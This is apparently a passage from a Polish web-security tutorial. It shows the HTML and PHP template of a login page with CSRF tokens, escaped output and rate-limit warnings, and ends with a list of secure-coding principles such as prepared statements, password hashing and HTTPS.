    <title>Bezpieczne logowanie</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        body {
            font-family: Arial, sans-serif;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .login-container {
            background: white;
            padding: 40px;
            border-radius: 10px;
            box-shadow: 0 10px 25px rgba(0,0,0,0.2);
            max-width: 400px;
            width: 100%;
        }
        h1 {
            text-align: center;
            color: #333;
            margin-bottom: 30px;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 5px;
            color: #555;
            font-weight: 500;
        }
        input {
            width: 100%;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 5px;
            font-size: 14px;
        }
        input:focus {
            outline: none;
            border-color: #667eea;
        }
        button {
            width: 100%;
            padding: 12px;
            background: #667eea;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            font-weight: bold;
            cursor: pointer;
        }
        button:hover {
            background: #764ba2;
        }
        .error {
            background: #f8d7da;
            color: #721c24;
            padding: 15px;
            border-radius: 5px;
            margin-bottom: 20px;
            border-left: 4px solid #f5c6cb;
        }
        .warning {
            background: #fff3cd;
            color: #856404;
            padding: 10px;
            border-radius: 5px;
            margin-bottom: 20px;
            text-align: center;
        }
        .security-info {
            background: #e7f3ff;
            color: #0c5460;
            padding: 15px;
            border-radius: 5px;
            margin-top: 20px;
            font-size: 12px;
        }
        .security-info h3 {
            margin-bottom: 10px;
        }
        .security-info ul {
            margin-left: 20px;
        }
    </style>
</head>
<body>

<div class="login-container">
    <h1>Bezpieczne logowanie</h1>
    
    <?php if (!empty($errors)): ?>
        <div class="error">
            <?php foreach ($errors as $error): ?>
                <p><?= htmlspecialchars($error) ?></p>
            <?php endforeach; ?>
        </div>
    <?php endif; ?>
    
    <?php if ($attempts_left > 0 && $attempts_left < 5): ?>
        <div class="warning">
            Pozostało prób: <?= $attempts_left ?>
        </div>
    <?php endif; ?>
    
    <form method="POST">
        <input type="hidden" name="csrf_token" value="<?= htmlspecialchars($csrf_token) ?>">
        
        <div class="form-group">
            <label>Username:</label>
            <input type="text" 
                   name="username" 
                   value="<?= htmlspecialchars($_POST['username'] ?? '') ?>"
                   required>
        </div>
        
        <div class="form-group">
            <label>Hasło:</label>
            <input type="password" name="password" required>
        </div>
        
        <button type="submit">Zaloguj się</button>
    </form>
    
    <div class="security-info">
        <h3>Zabezpieczenia:</h3>
        <ul>
            <li>CSRF Protection</li>
            <li>Rate Limiting (5 prób / 5 min)</li>
            <li>Password Hashing (bcrypt)</li>
            <li>Prepared Statements</li>
            <li>XSS Protection</li>
            <li>Session Security</li>
            <li>Security Headers</li>
        </ul>
    </div>
</div>

</body>
</html>

Najważniejsze zasady

  • NIE UFAJ DANOM OD UŻYTKOWNIKA – ZAWSZE waliduj i sanityzuj
  • Prepared Statements – jedyna skuteczna ochrona przed SQL Injection
  • htmlspecialchars() – ZAWSZE przy wyświetlaniu danych użytkownika
  • password_hash() – NIGDY plain text haseł
  • Tokeny CSRF – dla wszystkich formularzy zmieniających dane
  • Security Headers – pierwsza linia obrony
  • HTTPS – w produkcji ZAWSZE
  • Rate Limiting – ochrona przed brute force
  • Session Security – regeneruj ID, sprawdzaj fingerprint
  • Keep it simple – prostszy kod = mniej błędów